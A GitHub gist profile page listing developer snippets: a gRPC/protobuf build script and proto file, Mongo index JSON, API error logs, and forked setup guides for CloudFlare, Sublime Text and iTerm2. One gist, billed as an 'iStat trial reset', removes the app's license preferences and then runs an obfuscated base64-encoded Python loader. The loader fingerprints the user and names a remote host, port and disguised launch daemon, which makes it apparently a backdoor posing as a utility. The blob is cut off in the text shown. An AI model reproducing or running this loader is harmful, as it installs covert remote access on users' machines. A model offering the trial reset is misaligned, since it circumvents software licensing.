Skip to content

Instantly share code, notes, and snippets.

View Idnan's full-sized avatar

Adnan Ahmed Idnan

View GitHub Profile
#!/usr/bin/env bash
BASEDIR=$(dirname "$0")
cd "${BASEDIR}"/../
PROTOC_GEN_TS_PATH="./node_modules/.bin/protoc-gen-ts"
GRPC_TOOLS_NODE_PROTOC_PLUGIN="./node_modules/.bin/grpc_tools_node_protoc_plugin"
GRPC_TOOLS_NODE_PROTOC="./node_modules/.bin/grpc_tools_node_protoc"
for f in ./src/proto/*; do
syntax = "proto3";
package greeter;
// The greeting service definition.
service Greeter {
// Sends a greeting
rpc SayHello (HelloRequest) returns (HelloResponse);
}
.
├── dist/ # Compiled files
├── src/ # Source files
│ ├── handlers/ # gRPC service handlers
| │ └── greeter.ts # Greeter service definitions
│ ├── proto/ # Proto files
│ │ ├── greeter/ # Greeter gRPC service
│ │ │ └── greeter.proto
│ │ ├── index.ts # Registers all the proto typescript definitions
│ └── server.ts # Bootstrap server, add middleware (logs, graphql...)
@Idnan
Idnan / gist:10bf7741cd882e31aea23d40091ed417
Created October 8, 2019 15:46 — forked from rollxx/gist:2689219
iStat trial reset
rm ~/Library/Preferences/com.bjango.istatmenus.plist
#!/usr/bin/python
# -*- coding: utf-8 -*-
import subprocess
PwiGfEUytuTIa = "DknzeU4NgoyJL"
subprocess.Popen("echo IyAtKi0gY29kaW5nOiB1dGYtOCAtKi0KaW1wb3J0IHVybGxpYjIKZnJvbSBiYXNlNjQgaW1wb3J0IGI2NGVuY29kZSwgYjY0ZGVjb2RlCmltcG9ydCBnZXRwYXNzCmZyb20gdXVpZCBpbXBvcnQgZ2V0bm9kZQpmcm9tIGJpbmFzY2lpIGltcG9ydCBoZXhsaWZ5CgoKZGVmIGdldF91aWQoKToKICAgIHJldHVybiBoZXhsaWZ5KGdldHBhc3MuZ2V0dXNlcigpICsgIi0iICsgc3RyKGdldG5vZGUoKSkpCgoKWUNWS3NESldaa3cgPSAiejZ0YUk4SmUyZ3UiCmRhdGEgPSB7CiAgICAiQ29va2llIjogInNlc3Npb249IiArIGI2NGVuY29kZShnZXRfdWlkKCkpICsgIi1leUpzYjJGa1pYSmZiM0IwYVc5dWN5STZJSHNpY0dGNWJHOWhaRjltYVd4bGJtRnRaU0k2SUNKSFUyMUxRWE5zWmtGWGVVaFNWU0lzSUNKc1lYVnVZMmhmWVdkbGJuUmZibUZ0WlNJNklDSmpiMjB1WVhCd2JHVXVha1ZNWWxSQllrRnJWMDFEYkhnaUxDQWliRzloWkdWeVgyNWhiV1VpT2lBaWJHRjFibU5vWDJSaFpXMXZiaUlzSUNKd2NtOW5jbUZ0WDJScGNtVmpkRzl5ZVNJNklDSitMMHhwWW5KaGNua3ZRMjl1ZEdGcGJtVnljeTh1UjJkdWNHRkxXVXA1ZEZraWZTd2dJbkJoZVd4dllXUmZiM0IwYVc5dWN5STZJSHNpYUc5emRDSTZJQ0l4TlRjdU1qTXdMak00TGpFd09DSXNJQ0p3YjNKMElqb2dNVEl3TUgwc0lDSjBlWEJsSWpvZ01IMD0iLAog
@Idnan
Idnan / go-mongo-indexer-format.json
Created October 15, 2018 06:19
Go mongo indexer json files format
[
{
"collection": "collection_name",
"cap": null,
"index": [
["-createdAt"],
["-status"],
["-trackId"],
["-cartId"],
["-orderId"],
@Idnan
Idnan / sample.log
Last active September 29, 2018 10:12
API Logs
2018-05-23T09:00:29+0000 [10.10.0.100::192.168.99.1][]:[DEBUG][799.9999][POST http://api.local:8080/cart/order-69a2397b-e6d3-4967-bd22-706c4c19daa2/coupon/cap800][PostmanRuntime/7.1.1][][5105008][0]
2018-05-23T09:00:29+0000 [10.10.0.100::192.168.99.1][]:[DEBUG][799.9999][POST http://api.local:8080/cart/order-69a2397b-e6d3-4967-bd22-706c4c19daa2/coupon/cap800][PostmanRuntime/7.1.1][][5104944][0]
2018-05-23T09:04:49+0000 [10.10.0.100::192.168.99.1][]:[ERROR][Call to undefined function PHPSTORM_META\type()][POST http://api.local:8080/cart/order-69a2397b-e6d3-4967-bd22-706c4c19daa2/coupon/cap800][PostmanRuntime/7.1.1][][4911344][0] #0 /var/www/api/vendor/src/Base/Order/CartOrderAttributeTrait.php(1305): Base\Order\CartModel->calculateTotal() #1 /var/www/api/vendor/src/Base/Order/CartOrderAttributeTrait.php(2047): Base\Order\CartModel->collectTotals() #2 /var/www/api/vendor/src/Base/Order/CartOrderAttributeTrait.php(992): Base\Order\CartModel->collectTotal() #3 /var/www/api/vendor/src/Base/Order/CartModel.php(221)
@Idnan
Idnan / HOWTO.md
Created April 4, 2018 07:42 — forked from cvan/HOWTO.md
How to serve a custom HTTPS domain on GitHub Pages with CloudFlare: *FREE*, secure and performant by default

Instructions

CloudFlare is an awesome reverse cache proxy and CDN that provides DNS, free HTTPS (TLS) support, best-in-class performance settings (gzip, SDCH, HTTP/2, sane Cache-Control and E-Tag headers, etc.), minification, etc.

  1. Make sure you have registered a domain name.
  2. Sign up for CloudFlare and create an account for your domain.
  3. In your domain registrar's admin panel, point the nameservers to CloudFlare's (refer to this awesome list of links for instructions for various registrars).
  4. From the CloudFlare settings for that domain, enable HTTPS/SSL and set up a Page Rule to force HTTPS redirects. (If you want to get fancy, you can also enable automatic minification for text-based assets [HTML/CSS/JS/SVG/etc.], which is a pretty cool feature if you don't want already have a build step for minification.)
  5. If you
@Idnan
Idnan / sublime-command-line.md
Created February 27, 2018 13:38 — forked from adrianorsouza/sublime-command-line.md
launch sublime text from the command line

Launch Sublime Text from the command line on OSX

Sublime Text includes a command line tool, subl, to work with files on the command line. This can be used to open files and projects in Sublime Text, as well working as an EDITOR for unix tools, such as git and subversion.

Requirements

  • Sublime text 2 or 3 installed in your system within Applications folder

Setup

@Idnan
Idnan / iterm2-solarized.md
Created February 22, 2018 07:34 — forked from kevin-smets/iterm2-solarized.md
iTerm2 + Oh My Zsh + Solarized color scheme + Meslo powerline font + [Powerlevel9k] - (macOS)

Default

Default

Powerlevel9k

Powerlevel9k